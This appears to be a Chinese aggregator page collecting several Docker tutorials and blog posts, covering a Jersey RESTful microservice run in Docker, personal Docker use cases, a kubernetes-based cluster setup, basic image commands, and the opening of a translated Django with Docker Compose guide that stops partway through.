来源： 在 Docker 上运行一个 RESTful 风格的微服务



                    
在 Docker 上运行一个 RESTful 风格的微服务
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  实现构思

  1. 使用 Maven 进行项目构建

  2. 使用 Jersey 实现一个 RESTful 风格的微服务

  3. 在 Docker 里面执行 mvn package 对项目打包

  4. 在 Docker 容器里运行这个微服务




实现一个 RESTful 风格的微服务


如果你对 RESTful 风格的 API 设计有疑惑，可以参考我的文章 RESTful Best Practices。


场景 & 需求


在 Maven 仓库里面有许多的组件，我们现在暂且称之为 Stack。在我们模拟的系统里面有下面2个需求：

1. 列出仓库里的所有 Stack

2. 根据 Stack 的 ID 找到某一个组件，如果没有找到则返回 Not Found


现在，我们就根据这个需求一起踏入 Jersey 打造微服务的奇幻之旅。


Step0. 准备


使用 mvn 命令创建一个简单工程


mvnmvn archetype:generate -DgroupId=org.jmotor -DartifactId=docker-restful-demo -DinteractiveMode=false



在 pom.xml 加入 Jersey 等依赖


xml<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    <junit.version>4.12</junit.version>
    <jersey.version>2.18</jersey.version>
    <javax.servlet.version>3.1.0</javax.servlet.version>
</properties>
<dependencies>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>${junit.version}</version>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>org.glassfish.jersey.containers</groupId>
        <artifactId>jersey-container-grizzly2-http</artifactId>
        <version>${jersey.version}</version>
    </dependency>
    <dependency>
        <groupId>org.glassfish.jersey.media</groupId>
        <artifactId>jersey-media-json-jackson</artifactId>
        <version>${jersey.version}</version>
    </dependency>
</dependencies>



Step1. 构建 Model


Stack 包含了以下几个属性: id, groupId, artifactId, version。同时，Stack 类里面包含了一个 Builder 用来比较方便地创建一个 Stack 对象。这些都可以使用 IDE 自动生成，无需手动编写。


javapackage org.jmotor.model;

/**
 * Component:
 * Description:
 * Date: 2015/6/18
 *
 * @author Andy Ai
 */
public class Stack {
    private Integer id;
    private String groupId;
    private String artifactId;
    private String version;

    ...getter and setter...

    public static class Builder {
        private Integer id;
        private String groupId;
        private String artifactId;
        private String version;

        public Builder id(Integer id) {
            this.id = id;
            return this;
        }

        ...

        public Stack build() {
            Stack stack = new Stack();
            stack.setId(id);
            ...
            return stack;
        }

        public static Builder newBuilder() {
            return new Builder();
        }
    }
}



Step2 创建一个 Restlet


刚刚我们已经把 Model 做好了，现在我们就开始使用 Jersey 实现一个 Service，在 JAX-RS 中这样的一个服务称为 Resource。在这里，这个 Service(Resource) 提供了一个 RESTful 风格的接口访问。所以我们称之为 restlet。restlet 在 JAX-RS 或 Jersey 中并没有这个概念，这是我们附加上去的用法。


javaimport javax.ws.rs.Path;

@Path("/v1/stacks")
public class StacksRestlet {}



我们需要使用 javax.ws.rs.Path 这个注解来申明 Restlet 的根路径是什么。在上面的代码中， Restlet 的跟路径是 /v1/stacks。


Step3. 实现服务接口


在 Jersey 里实现一个服务接口非常简单，你只需要创建一个 public 的方法就可以了。


接口1:


java@GET
@Produces("application/json")
public List<Stack> stacks() {
    return Arrays.asList(
            Stack.Builder.newBuilder().id(1).groupId("javax.servlet").artifactId("javax.servlet-api").version("3.1.0").build(),
            Stack.Builder.newBuilder().id(2).groupId("com.google.guava").artifactId("guava").version("18.0").build()
    );
}



我们使用 javax.ws.rs.GET 这个注解来申明接口接受的是 HTTP 请求的 GET 方法。javax.ws.rs.Produces("application/json") 用来表示我们这个接口返回的是 application/json 类型的数据。


接口2:


java@GET
@Path("{id}")
@Produces("application/json")
public Stack filterByArtifactId(@NotNull @PathParam("id") Integer id) {
    switch (id) {
        case 1:
            return Stack.Builder.newBuilder().id(1).groupId("javax.servlet").artifactId("javax.servlet-api").version("3.1.0").build();
        case 2:
            return Stack.Builder.newBuilder().id(2).groupId("com.google.guava").artifactId("guava").version("18.0").build();
        default:
            throw new WebApplicationException("Stack not found, id: " + id, 404);
    }
}



在上面的示例中:

1. @Path("{id}") 表示 id 是一个 url 上的动态参数，因为 id 是变化的，所以我们要做成一个 url 变量。然后在方法里面使用 @PathParam("id") 来获得这个参数。JAX-RS 可以有许多类型的参数，例如：QueryParam 用来获取 url 问号? 后面的查询参数。你可以在 javax.ws.rs 这个包中找到其他的参数！

2. 使用 WebApplicationException 抛一个任何状态的异常，例如： 404 或 500。


Step4. 运行微服务


这里，我们使用 Jersey 的内置的 Grizzly 容器运行。


javafinal URI uri = UriBuilder.fromUri("http://localhost/").port(9998).build();
final ResourceConfig config = new ResourceConfig();
config.packages("org.jmotor.restlet");
final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(uri, config);
Runtime.getRuntime().addShutdownHook(new Thread() {
    @Override
    public void run() {
        server.shutdown();
    }
});
try {
    server.start();
} catch (IOException e) {
    e.printStackTrace();
    System.exit(1);
}



Step5. 测试


获取 Stacks 列表


bash$ curl http://localhost:9998/v1/stacks
[{"id":1,"groupId":"javax.servlet","artifactId":"javax.servlet-api","version":"3.1.0"},{"id":2,"groupId":"com.google.gua
va","artifactId":"guava","version":"18.0"}]



根据 ID 获取 Stack


bash$ curl http://localhost:9998/v1/stacks/1
{"id":1,"groupId":"javax.servlet","artifactId":"javax.servlet-api","version":"3.1.0"}



找不到的 Stack


bash$ curl -I http://localhost:9998/v1/stacks/5
HTTP/1.1 404 Not Found
Content-Length: 0
Date: Tue, 23 Jun 2015 06:04:19 GMT



在 Docker 中运行


首先，我们需要安装一个 Docker 环境，你可以从 Docker Docs 上找到如何安装它。


安装完成后，我们需要把我们的微服务打包成一个 Docker Image。下面，我们就使用 Dockerfile 来构建我们的 Docker Image。


Step0. 准备


刚刚我们已经成功地在 IDE 中运行了我们的微服务。但是如果需要让它能独立运行，我们需要把我们的工程通过 mvn 做成一个可以运行的包。但是因为我们在 Docker 中运行，所以我们只需要把相关的依赖复制到一个特地的地方就可以了。在下面的代码中，我们把依赖放到了 ${project.build.directory}/lib 下。


在 pom.xml 加入下面的代码：


xml<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-dependency-plugin</artifactId>
            <executions>
                <execution>
                    <id>copy-dependencies</id>
                    <phase>package</phase>
                    <goals>
                        <goal>copy-dependencies</goal>
                    </goals>
                    <configuration>
                        <excludeScope>provided</excludeScope>
                        <outputDirectory>${project.build.directory}/lib</outputDirectory>
                    </configuration>
                </execution>
            </executions>
        </plugin>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <configuration>
                <source>1.7</source>
                <target>1.7</target>
            </configuration>
        </plugin>
    </plugins>
</build>



Step1. Dockerfile


DockerfileFROM jamesdbloom/docker-java8-maven

MAINTAINER Andy Ai "yanbo.ai@gmail.com"

WORKDIR /code

ADD pom.xml /code/pom.xml
ADD src /code/src
ADD settings.xml /root/.m2/settings.xml

RUN ["mvn", "package"]

CMD ["java", "-cp", "target/lib/*:target/docker-restful-demo-1.0-SNAPSHOT.jar", "org.jmotor.StackMicroServices"]

EXPOSE 9998





  Tips

  1. ADD settings.xml /root/.m2/settings.xml，这是加入了本地的 maven settings。在这个文件里面你可能会使用到一些特定的配置，例如：maven 仓库的代理镜像。代理镜像可以加快你的 Docker Build。

  2. EXPOSE 9998 Docker 对外暴露的端口需要跟服务的端口是一致的。




Step2. Build Image


bashcd docker-restful-demo
docker build -t docker-restful-demo .



上面代码中，-t 是在 Docker Build 的时候指定 Image Tag。


Step3. 运行 Image


bashdocker run -d -p 9998:9998 docker-restful-demo




  Tips
-p 是发布一个 Docker 容器的端口到 Docker 运行的主机上。




Step4. Docker 容器测试


检查 Docker 容器是否在运行


bash$ docker ps
CONTAINER ID        IMAGE                       COMMAND                CREATED             STATUS              PORTS
                NAMES
bdda2408484a        docker-restful-demo:latest   "java -cp target/lib   31 seconds ago      Up 29 seconds       0.0.0.0:9
998->9998/tcp   fervent_swartz



检查 Docker 容器内的服务是否已经启动：



	登录到 Docker 容器：



bashdocker exec -i -t bdda2408484a bash




	查看服务端口信息



bash$ ss -a
Netid  State      Recv-Q Send-Q                       Local Address:Port                           Peer Address:Port
nl     UNCONN     0      0                                     rtnl:kernel                                     *
nl     UNCONN     4352   0                                  tcpdiag:ss/92                                      *
nl     UNCONN     768    0                                  tcpdiag:kernel                                     *
nl     UNCONN     0      0                                        6:kernel                                     *
nl     UNCONN     0      0                                       10:kernel                                     *
nl     UNCONN     0      0                                       12:kernel                                     *
nl     UNCONN     0      0                                       15:kernel                                     *
nl     UNCONN     0      0                                       16:kernel                                     *
u_str  ESTAB      0      0                                        * 9590                                      * 0
tcp    LISTEN     0      128                       ::ffff:127.0.0.1:9998                                     :::*




	测试接口



bash$ curl -i http://localhost:9998/v1/stacks
HTTP/1.1 200 OK
Content-Type: application/json
Date: Tue, 23 Jun 2015 07:51:15 GMT
Content-Length: 163

[{"id":1,"groupId":"javax.servlet","artifactId":"javax.servlet-api","version":"3.1.0"},{"id":2,"groupId":"com.google.gua
va","artifactId":"guava","version":"18.0"}]




	退出 Docker 容器



bashexit



Step5. 远程调用测试



	如果你使用的是 boot2docker, 需要拿到 boot2docker 虚拟机的IP



bash$ boot2docker ip
192.168.59.103




	调用远程接口 



bash$ curl http://192.168.59.103:9998/v1/stacks
curl: (7) Failed to connect to 192.168.59.103 port 9998: Connection refused



如果遇到上面的错误，我们可以通过2种方式去解决它：
方法1: 将程序绑定全零IP的端口


检查 Docker 容器绑定的端口：


bash$ docker port bdda2408484a
9998/tcp -> 0.0.0.0:9998



我们看到的是 9998 这个端口绑定在 0.0.0.0 上，这时需要把 Jersey 容器的 URI 改成 0.0.0.0 就可以，像这样：


javafinal URI uri = UriBuilder.fromUri("http://localhost/").port(9998).build();

--->

final URI uri = UriBuilder.fromUri("http://0.0.0.0/").port(9998).build();



方法2: 将程序绑定到非回路的IP端口上


查看 Docker 容器 IP 地址的方法:


bashboot2docker ssh

docker inspect --format '{{.NetworkSettings.IPAddress}}' $container_id




使用 Java 接口获取本机的非回路IP地址:


javafinal URI uri = UriBuilder.fromUri("http://localhost/").port(9998).build();

--->

InetAddress inetAddress = localInet4Address();
String host = "0.0.0.0";
if (inetAddress != null) {
    host = inetAddress.getHostAddress();
}
final URI uri = UriBuilder.fromUri("http://" + host + "/").port(9998).build();

private static InetAddress localInet4Address() throws SocketException {
    Enumeration<NetworkInterface> networkInterfaces = NetworkInterface.getNetworkInterfaces();
    while (networkInterfaces.hasMoreElements()) {
        NetworkInterface networkInterface = networkInterfaces.nextElement();
        Enumeration<InetAddress> inetAddresses = networkInterface.getInetAddresses();
        while (inetAddresses.hasMoreElements()) {
            InetAddress inetAddress = inetAddresses.nextElement();
            if (!inetAddress.isLoopbackAddress() && inetAddress instanceof Inet4Address) {
                return inetAddress;
            }
        }
    }
    return null;
}



使用上面的任何一种方法，服务都能正常调用：


bash$ curl -i http://192.168.59.103:9998/v1/stacks
HTTP/1.1 200 OK
Content-Type: application/json
Date: Tue, 23 Jun 2015 07:53:24 GMT
Content-Length: 163

[{"id":1,"groupId":"javax.servlet","artifactId":"javax.servlet-api","version":"3.1.0"},{"id":2,"groupId":"com.google.gua
va","artifactId":"guava","version":"18.0"}]



加速器


在撰写此文的时候，我使用的是 DaoColud 的镜像在做加速。 具体步骤请查看 DaoColud Mirror 文档。


如果你在 Windows 上使用 Boot2Docker, 可以按照下列步骤设置你的 Docker 镜像仓库:


bashboot2docker ssh

sudo su
echo "EXTRA_ARGS=\"--registry-mirror=http://98bc3dca.m.daocloud.io\"" >> /var/lib/boot2docker/profile
exit

boot2docker restart



参考资料


https://dashboard.daocloud.io/mirror
http://martinfowler.com/articles/microservices.html
https://jersey.java.net/documentation/latest/index.html
https://blog.giantswarm.io/getting-started-with-java-development-on-do...


未经同意不可转载, 转载需保留原文链接与作者署名。


 Docker 个人用例

作者：大舒

来源： Docker 个人用例



                    

  在上篇文章 8 个你可能不知道的 Docker 知识 中介绍了 Docker 在生产环境中的用例，有些开发者可能还是不明白 Docker 对自己到底有多大的用处，因此翻译 Docker 个人用例 这篇文章中来介绍 Docker 在普通开发者开发过程中的用例。




Docker 如今赢得了许多关注，很多人觉得盛名之下其实难副，因为他们仍然搞不清 Docker 和普通开发者到底有什么关系。许多开发者觉得 Docker 离自己很远，Docker 是生产环境中的工具，和自己无关。我也是花了很长时间才想清楚作为普通开发人员如何在自己的开发中使用 Docker。坦率地说，我仍处在学习的过程中。


这篇文章提供了一个 Docker 用例列表，我希望它能更好地帮助你理解 Docker 并引发你的思考。本文只是描述 Docker 在普通开发者日常的应用，并不提供完整的解决方案。


在介绍用例之前，我希望你能先记住这句话：“Docker 是一个便携的应用容器”。你可以不知道 Docker 所说的的“便携式容器”到底是什么意思，但是你必须清楚 Docker 在日常中能带来非常大的效率提升。


当你需要在容器内运行自己的应用（当然可以是任何应用），Docker 都提供了一个基础系统镜像作为运行应用时的基础系统。也就是说，只要是 Linux 系统上的应用都可以运行在 Docker 中。


可以在 Docker 里面运行数据库吗？当然可以。

可以在 Docker 里面运行 Node.js 网站服务器吗？当然可以。

可以在 Docker 里面运行 API 服务器吗？当然可以。


Docker 并不在乎你的应用程序是什么、做什么，Docker 提供了一组应用打包、传输和部署的方法，以便你能更好地在容器内运行任何应用。


下面的例子我自己经常使用，当然你有更好的案例也可以分享给我。


尝试新软件


对开发者而言，每天会催生出的各式各样的新技术都需要尝试，然而开发者却不太可能为他们一一搭建好环境并进行测试。时间非常宝贵，正是得益于 Docker，让我们有可能在一条或者几条命令内就搭建完环境。Docker 有一个傻瓜化的获取软件的方法，Docker 后台会自动获得环境镜像并且运行环境。


并不仅仅是新技术环境搭建用得到 Docker。如果你想快速在你的笔记本上运行一个 MySQL 数据库，或者一个 Redis 消息队列，那么使用 Docker 便可以非常容易地做到。例如 Docker 只需要一条命令便可以运行 MySQL 数据库：docker run -d -p 3306:3306 tutum/mysql。


译者注：虽然使用命令也能非常快地安装 MySQL 数据库，但是当用到最新的技术或者非常复杂的技术时，使用 Docker 便会是个非常好的选择，例如 Gitlab，普通用户大概需要一天的时间去搭建 Gitlab 平台，而 Docker 则只需要一条命令。


进行演示


现在我经常需要在周末用自己开发的成果对客户活着别人做一两个演示。搭建演示环境的过程非常麻烦。现在我发现 Docker 已经成为我演示这些工具的最合理的方式。同时，对于客户来说，我可以直接将 Docker 镜像提供给他们，而不必去做任何环境配置的工作，工作的效果也会和在他们演示中所看到的一模一样，同时不必担心他们的环境配置会导致我们的产品无法运行。


避免“我机器上可以运行”


无论是上一篇介绍的企业部署 Docker 还是本文的个人 Docker 用例，都提到了这个情况。因为环境配置不同，很多人在开发中也会遇到这个情况，甚至开发的软件到了测试人员的机器上便不能运行。但这都不是重点。重点是，如果我们有一个可靠的、可分发的标准开发环境，那么我们的开发将不会像现在这么痛苦。Docker 便可以解决这个问题。Docker 镜像并不会因为环境的变化而不能运行，也不会在不同的电脑上有不同的运行结果。可以给测试人员提交含有应用的 Docker 镜像，这样便不再会发生“在我机器上是可以运行的”这种事情，很大程度上减轻了开发人员测试人员互相检查机器环境设置带来的时间成本。


另一个 Docker 可以发挥用处的地方是培训班。除了 Docker 容器的隔离性之外，更能体会到 Docker 优势的地方在于环境搭建。培训班的新手每个人都要在环境搭建上花费很多时间，但是如果在这里应用到 Docker 的话，那么我们只需要把标准的运行环境镜像分发下去，然后就可以开始上课了。使用 Docker 和使用虚拟机一样简单，但是 Docker 要更方便、更轻量级。同时，我们也可以告诉学员：“在培训的同时，我们还将学到当下最流行的技术——Docker”，这种双赢的结局，何乐而不为呢。


学习 Linux 脚本


当然这个原因看起来可能很奇怪，但是对不不熟悉 Linux 操作系统和 Shell 脚本的人来说，确实是一个好机会。即便本文并不是在讲 Linux，Linux 的重要度仍然不言而喻。如果你用的是 Windows，那么我给你一个建议：从云主机提供商那儿租用一台云主机：我推荐使用 CoreOS 系统的云主机。虽然这样并不会让你成为专业的 Linux 运维，但是可以让你快速地学到 Linux 基础知识，爱上命令行操作，并且慢慢开始熟悉和欣赏 Linux。


更好地利用资源


虚拟机的粒度是“虚拟出的机器”，而 Docker 的粒度则是“被限制的应用”，相比较而言 Docker 的内存占用更少，更加轻量级。


对我来说这是 Docker 的一个优势：因为我经常在自己电脑中运行多个 Docker 应用，使用 Docker 比使用虚拟机更加简单，方便，粒度更细，也能持续地跟踪容器状态。


为微服务定制


如果你一直在关注科技新闻的话，那么你应该听说过“微服务（Microservices）”的概念。Docker 可以很好地和微服务结合起来。从概念上来说，一个微服务便是一个提供一整套应用程序的部分功能，Docker 便可以在开发、测试和部署过程中一直充当微服务的容器。甚至生产环境也可以在 Docker 中部署微服务。


在云服务提供商之间移植


大多数的云主机提供商已经全面支持 Docker。对于开发人员来说，这表示你可以很方便地切换云服务提供商，当然也可以很方便地将你本地的开发环境移动到云主机上，不需要本地上配置一次运行环境、在云主机上还配置一次运行环境。全面部署 Docker (Docker here and Docker there) 作为标准运行环境可以极大地减轻应用上线时的工作量和产生 BUG。


API 端


API 是应用之间的粘合剂，一个合格开发者肯定使用过别人提供的 REST API，或者自己开发过 REST API。需要指出的是，无论是客户端还是 API 提供端，在开发之前都需要先定义一组公共的 API 接口，写成文档，然后才能进行编码。如果服务端和客户端是共同开发的话，那么服务端通常会先实现能返回固定字符串的 API 接口，在以后的开发中再慢慢去实现 API 的功能。


虽然有人会认为在这里 Docker 被滥用了，完全可以用 sample.json 这种文件去实现虚拟 API，但是下面有个实例可以更好地解决前后端分离开发时的 API 问题。


为了更好地解释我的意思，给大家提供一个实例：JSON Server，一个用于提供 JSON 数据的 REST API。使用过这个容器的人就会知道，既然有这么好用的 Docker JSON Server，我们没有理由不用 Docker。


译者注：



	运行示例的 JSON Server，同时使用示例中提供的 JSON 文件，只需执行一条命令便可以创建一个服务端的 API 应用。

	使用 curl http://127.0.0.1:80/posts 即可获取示例文件中的 posts 段，这样在后端没有开发完 API 的时候，前端一样可以进行协同开发。



技术的创新


这点应该算不上是用例，但是我还是来写一下。Docker 正在快速发展，工具也在不断更新，没有人能预见到未来 Docker 会是什么样子的。你在复杂的系统中 Docker 使用的越多，越是可能会发现技术上的空白和未来技术发展的方向。现在还处在 Docker 的发展期，任何你使用 Docker 创建的工具都有可能成为社区关注的热点。这是 Docker 的机会，也是成就你自己的机会。


你的用例


最后一条便不再是我的用例了，而是 Docker 在你手中能发挥多大的作用。我也很希望看到你能提供更多使用 Docker 的方式，欢迎留言。


其他


还有两个技巧可以分享给你们。在学习 Docker 的过程中因为有了这两个的帮助，我才得意不断地提升自己。


一：Docker Hub Registry。这是 Docker 的官方镜像仓库，除了托管着 Docker 官方的镜像外，和 Github 一样，你可以在上面上传自己的镜像，也可以在上面搜寻其他有用的镜像，极大地节省自己的时间。例如 Oracle-XE-11g 镜像，所有的一切都是现成的，完全不需要自己去下载 Oracle XE 11g 安装。这样为你和团队节约了大量的时间成本。


如果你不太确定的话，可以去 Docker Hub 上搜有一下有没有自己用得到的镜像。大部分情况下你所需要的镜像在 Docker Hub 上都已经有人构建了。


二：多参考 IaaS 供应商的新闻，虽然我们不能像在他们会议室里那样完全了解他们的公司动态，但是仍然可以从新闻中可以了解到 Docker 最新的发展方向和技术趋势。可以肯定的是，容器化技术是未来的热点，我们不仅可以在本机运行 Docker，不仅仅在一家云服务提供商的主机上运行 Docker，未来所有的云服务提供商都会支持 Docker。

Docker 前景很明确，采用 Docker 只会让开发变得更方便。


后记


本专栏正在翻译 Docker 系列文章，接下来是 Flux Docker 系列教程，Docker 实例和 Docker 进阶内容将在以后慢慢推出。欢迎关注。


 基于kubernetes的docker集群实践

作者：刘阳龙Herman

来源： 基于kubernetes的docker集群实践



                    
在公司内部，基于kubernetes实现了简单的docker应用集群系统，拿出来和大家分享下，在这个系统中，实现了应用的自动部署、动态扩容、节点切换、健康检查、AB式版本更新等功能，也欢迎大家将各自的实现也分享给我。

整体架构

整体架构如下图：



其中分为分为这几个块：


	APPBuilder： 应用构建模块，负责将app打包成dockerimage，并入image版本库；


	container： 容器运行，docker容器实际运行的地方；


	thirdPart： 应用依赖的第三方资源，如redis、mysql等；


	scheduler： 调度系统，核心部分，负责各个子模块的智能调度；


	router： 基于7层的请求分发，根据url将请求分发到对应的app容器；


	nats： 基于4层的负载均衡，，将流量负载均衡到router集群；


	healthManage： 健康检查系统，包括了对router rules、容器状态、物理机状态等各个子模块健康的检查，并做相应补救action；


	log模块： 统一处理app所产生的日志；




scheduler

首先先介绍下最重要的部分，使用kubernetes作为技术实现，关于介绍和部署可以参考之前的 blog：kubernetes 0.18.1 安装 & 部署 & 初试，不过这个文档中只有单机的master-slave，不太符合线上使用，我们在此基础上做了以下升级：


	部署etcd集群，具体过程可以参考etcd官方：Clustering Guide


	部署kubernetes master cluster，分别部署有 kube-apiserver，kube-scheduler，kube-controller-manager；


	增加对kubernetes访问的 认证 & 授权， 具体可参考我之前的blog，|
72fb2910302a12da3b6c7d219f31484c3
|， |
72fb2910302a12da3b6c7d219f31484c4
| ， kubernetes中的Admission Controllers


	关闭kube master的非安全端口访问，关闭 insecure-port,开启secure-port，并对kubernetes secure api访问增加前端负载均衡，如在blog kubernetes 实用 api list 所示，访问就是通过认证&https请求api（当然了其中的信息都是假的，但是格式不变）；


	设置相关的访问权限，如，kube slave节点只允许来自kube-master节点的iP访问，kube-master只允许具有操作权限的机器节点的ip访问等等；


	对kubernetes master子模块的参数做符合我们要求的调整等；




附上制作https私有key&证书的方法：

openssl genrsa -aes256 -out ca-key.pem 2048



openssl req -new -x509 -days 3650 -key ca-key.pem -sha256 -out ca.pem （在提示输入Common Name时，输入https访问的host，如10.10.5.103）
openssl genrsa -out server-key.pem 2048
openssl req -subj "/CN=10.10.5.103" -new -key server-key.pem -out server.csr

echo subjectAltName = IP:10.10.5.103,IP:127.0.0.1 > extfile.cnf



openssl x509 -req -days 3650 -in server.csr -CA ca.pem -CAkey ca-key.pem \

                -CAcreateserial -out **server-cert.pem** -extfile extfile.cnf


产生三个文件：    ca-key.pem，server-key.pem，server-cert.pem
设置kube-apiserver参数：

--tls-cert-file=./server-cert.pem   \
--tls-private-key-file=./server-key.pem

在client访问时，通过ca-key.pem来进行访问

container

对于container节点，没什么好说的，其实就是kubernetes slave节点，部署有：kube-proxy， kubelet，docker。
没有什么好说的，主要是对个别参数做了调整等等。

Router

我们选用gorouter作为七层路由转发工具，并将其搭建起cluster，部署见blog gorouter 安装部署, 不过在设置rules的生命周期时，我们将周期设定为永久，如果发生rules失效，通过healthCheck来删掉已失效的rule。

nats

四层负载均衡，就很统一了，开源的可以使用LVS，土豪的可以使用F5，我们是土豪，我们使用的是F5.

ThirdPart

为app应用所依赖的mysql、redis等，有专门的童鞋负责维护，短期内不考虑和kubernetes、docker结合。

APP Builder

负责应用的镜像打包，我们这里选用 jekins 作为使用的工具，每次app上线前，首先要先构建此app 版本的dockerimage，push 到私有的docker-registry。之后的升级操作流程如下：


执行AB上线
如果是回滚也十分方便，将上一个版本在走一次这个流程即可，对应用使用者来说，没有任何终端感知，当AB两个版本都生效后，将AB两个版本的rule都加入router，在将A版本的router下掉，就完成了上线/回滚的操作。
代码地址稍后放出。

health Manage

健康监控检查，可以说是集群中最重要的一部分了。
我们在这里没有使用kubernetes推荐的方式，我们自己将其与内部的zabbix系统做了结合，通过zabbix来对整个集群进行监控、报警、自动化操作。


	
对于kubernetes master，监控项有：


	kuber-apiserver的状态；


	kube-controller-manager的状态；


	kube-scheduler的状态；


	kubernetes中namespace、replicationcontroller、service、pods等主要资源的数量&状态变化；






	
对于kubernetes slave（即container节点），监控项有：


	kubelet健康状态；


	kube-proxy健康状态；


	docker 的dataspace、metadataspace 使用情况；


	当前节点运行容器的信息，包括了全部数量、正在运行的数量、版本等；






	
对于docker容器本身，可参考blog Docker 监控的一点想法 ，监控项有：


	创建时间 & 信息参数；


	容器运行状态；


	容器内存、cpu、流量情况；






	
还有一个重点是对router及其rule做重点监控：


	检查所有router的运行状态；


	监控所有node状态，如果非健康，及时删除router中所以指向此node的rules；


	检查所有的pods及对应的rule，如果pods中的app服务失效 或者 没有对应的rule指向pods（比如node节点损坏，其原有的pod移动到新node节点），此时为pod更新router中的rule；








log

对于日志这块，业界一直没有一项统一的做法，在这里我们的做法是通过透传的方式，将容器中的日志汇总到宿主机，在进行进一步的处理：


	统一了所有接入系统的app的日志规范，包括了日志格式、日志路径；


	将容器中应用的日志根据app的不同映射到宿主机中指定的路径；


	结合 flume， kafka， influxDB 还有其他一些组件（ 日志系统经典的 ELK组合），将应用的日志进行汇总，方便RD同学对日志进行处理。




目前先简单介绍到这里，稍后如有可能再将具体实现细节放出。


 Docker学习之路（五）镜像的基本操作

作者：Aomine

来源： Docker学习之路（五）镜像的基本操作



                    
什么是镜像


Docker镜像时由文件系统叠加而成，最底端是一个引导文件系统，即bootfs，这很像典型的Linux/Unix的引导文件系统。Docker用户几乎永远不会和引导文件系统有交互。实际上，当一个容器启动后，他将会被移到内存中，而引导文件系统则会被卸载（unmount），以流出更多的内存供initrd磁盘镜像使用。


目前，Docker看起来还很像一个典型的Linux虚拟化栈。实际上，Docker镜像的第二层是root文件系统rootfs，它位于引导文件系统之上，rootfs可以是一种或多种操作系统（如Debian、Ubuntu）。


在传统的linux引导过程中，root文件系统会最先以只读的方式家长，当引导结束并完成完整性检查之后，他才会被切换成读写模式。但是Docker里，root文件系统永远只是只读状态，并且Docker利用联合加载（union mount）技术又会在root文件系统层上加载更多的只读文件系统。联合加载指的是一次同时加载多个文件系统，但是在外面看起来只能看到一个文件系统。联合加载会将各层文件系统叠加到一起，这样最终的文件系统会包含所有底层的文件和目录。


Docker将这样的文件系统成为镜像。一个镜像可以放到另一个京广线的顶部，位于下面的镜像称为父镜像(parent image)，最底部的称为基础镜像（base image）。


简单来说，Docker 镜像就是一个只读的模板。例如：一个镜像可以包含一个完整的 ubuntu 操作系统环境，里面仅安装了 Apache 或用户需要的其它应用程序。


镜像是Docker生命周期中的“构建”部分，可以用来创建 Docker 容器。


Docker 提供了一个很简单的机制来创建镜像或者更新现有的镜像，可以当做容器的“源代码”，它体积很小，便于分享、存储、更新。用户甚至可以直接从其他人那里下载一个已经做好的镜像来直接使用。


镜像是基于联合（union）文件系统的一种层式的结构，由一系列指令一步步构建处理。例如：



	添加一个文件

	执行一个命令

	打开一个端口



当从以镜像期待容器时，Docker会在该镜像的最顶层加载一个读写文件系统。想在Docker中运行的程序就是在这个读写层中执行的。


列出镜像


docker images命令：


$ sudo docker images






在列出信息中，可以看到几个字段信息：



	来自于哪个仓库，比如 ubuntu

	镜像的标记，比如 14.04

	它的 ID 号（唯一）

	创建时间

	镜像大小 



其中镜像的 ID 唯一标识了镜像，注意到 ubuntu:14.04 和 ubuntu:trusty 具有相同的镜像 ID，说明它们实际上是同一镜像。


TAG 信息用来标记来自同一个仓库的不同镜像。例如 ubuntu 仓库中有多个镜像，通过 TAG 信息来区分发行版本，例如12.04、12.10、13.04、14.04 等。


下面的命令指定使用镜像 ubuntu:14.04 来启动一个容器。


$ sudo docker run -t -i ubuntu:14.04 /bin/bash






如果不指定具体的标记，则默认使用 latest 标记信息。


本地镜像都保存在Docker宿主机的/var/lib/docker目录下。每个镜像都保存在Docker所采用的存储驱动目录下。也可以在/var/lib/docker/containers目录下面看到所有的容器。


拉取镜像


使用docker run命令启动一个镜像时，Docker会检查本地是否存在该镜像。如果本地没有该镜像的话，就好链接官方维护的Docker Hub Registy，查看Docker Hub中是否有该镜像，有的话就下载下来。如果没有指定具体的镜像标签，则会下载latest标签的镜像。例如：


$ sudo docker run -i -t ubuntu /bin/bash






也可以通过pull命令预先拉取镜像到本地，可以节省从一个新镜像启动一个容器的世界。


拉取一个Fedora基础镜像的例子：


$ sudo docker pull fedora



查找镜像


docker search命令查找所有Docker Hub上公共的可用镜像：


$ sudo docker search puppet






返回了以下信息：



	仓库名

	镜像描述

	用户评价（Stars）——反映镜像的受欢迎程度

	是否官方（official）

	自动构建（Automated）——表示这个镜像时由Docker Hub的自动构建流程（Automated Build）创建的。



也可以到Docker Hub网站上在线查找可用镜像。




【本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，引用了很多书上的话和例子，并结合其他各种资源的学习。我使用的是windows 7， docker 1.3.2。】


 [译] 如何使用 Docker 组件开发 Django 项目？

作者：OneAPM蓝海讯通

来源： [译] 如何使用 Docker 组件开发 Django 项目？



                    

  原文地址：Django Development With Docker Compose and Machine




以下为译文




Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。自2013年发布以来，无论是从 Github 上的代码活跃度，还是 Redhat 在 RHEL6.5 中集成对 Docker 的支持, 就连 Google 的 Compute Engine 也支持 Docker 在其之上运行。火热程度可见一斑！


本篇文章详细介绍了如何通过 Docker Machine 「系统配置」和 Docker Compose 「多容器应用组装」 提供堆栈完成 Postgres, Redis 和 Django 项目相结合的开发。


而在最后，该堆栈将包括如下每个服务的单独的容器:



	一个 Web/ Django 的容器

	一个 Nginx 的容器

	一个 Postgres 的容器

	一个 Redis 的容器

	一个 Data 容器






本地设置


使用 Docker「v1.6.1」版本我们将使用到 Docker Compose 「v1.2.0」编排一个多容器组成的应用程序，使用 Docker Machine「v0.2.0」创建本地和云的 Docker 主机。

按照指示，分别安装 Docker Compose 和 Machine，然后测试安装结果：


$ docker-machine --version 
docker-machine version 0.2.0 (8b9eaf2) 
$ docker-compose --version 
docker-compose 1.2.0



接下来，根据以下项目结构从realpython/dockerizing-django克隆一份项目或自己创建项目：


├── docker-compose.yml 
├── nginx 
│   ├── Dockerfile 
│   └── sites-enabled 
│   └── django_project 
